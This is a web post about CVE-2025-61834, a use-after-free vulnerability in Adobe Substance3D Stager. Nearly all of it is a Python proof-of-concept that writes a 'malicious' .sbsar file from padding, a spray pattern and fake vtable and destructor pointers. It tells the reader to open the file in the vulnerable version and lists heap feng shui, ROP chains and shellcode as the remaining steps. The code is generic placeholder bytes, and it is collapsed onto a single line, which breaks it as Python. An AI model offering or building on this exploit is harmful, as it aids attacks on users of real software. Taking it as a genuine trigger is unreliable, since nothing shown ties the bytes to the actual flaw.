CVE-2025-61834: Adobe Substance3D Stager释放后重用高危漏洞

#!/usr/bin/env python3 # CVE-2025-61834 PoC - Adobe Substance3D Stager Use After Free # This is a proof-of-concept demonstrating the vulnerability trigger mechanism # Note: Actual exploitation requires detailed memory analysis and ROP chain construction import struct import os def create_malicious_sbsar(target_version="3.1.5"): """ Generate a malicious SBSAR file to trigger Use After Free in Adobe Substance3D Stager This PoC demonstrates the file structure needed to trigger the vulnerability """ # SBSAR file header header = b'SBSAR' # File signature version = struct.pack('<I', 0x00010000) # Version 1.0 # Malicious payload that triggers UAF condition # The specific bytes depend on the vulnerable code path trigger_bytes = b'\x00' * 256 # Padding to reach vulnerable allocation # Heap spray-friendly pattern # In real exploitation, this would contain ROP gadgets and shellcode spray_pattern = b'\x41' * 1024 # NOP sled equivalent # Crafted data structure to trigger free() without pointer nullification uaf_trigger = struct.pack('<Q', 0x4141414141414141) # Fake vtable pointer uaf_trigger += struct.pack('<Q', 0x4242424242424242) # Destructor pointer uaf_trigger += struct.pack('<Q', 0x4343434343434343) # Additional data # File metadata that triggers specific code path metadata = b'\x00' * 128 metadata += struct.pack('<I', 0x00000001) # Flag indicating complex object metadata += struct.pack('<I', 0x00001000) # Size hint # Combine all parts malicious_file = header + version + trigger_bytes + spray_pattern + uaf_trigger + metadata return malicious_file def main(): print("CVE-2025-61834 Adobe Substance3D Stager UAF PoC Generator") print("=" * 60) print("WARNING: This code is for educational and research purposes only") print("Unauthorized exploitation of this vulnerability is illegal") print("=" * 60) # Generate malicious file poc_data = create_malicious_sbsar() # Save to file output_file = "CVE-2025-61834_malicious.sbsar" with open(output_file, 'wb') as f: f.write(poc_data) print(f"\nMalicious file generated: {output_file}") print(f"File size: {len(poc_data)} bytes") print("\nTo test this vulnerability:") print("1. Install Adobe Substance3D Stager <= 3.1.5") print("2. Open the generated .sbsar file with the vulnerable software") print("3. Monitor for crash or unexpected behavior") print("\nNote: Full exploitation requires additional techniques:") print("- Heap feng shui to control allocation layout") print("- ROP chain to bypass DEP/ASLR") print("- Shellcode for desired payload execution") if __name__ == "__main__": main()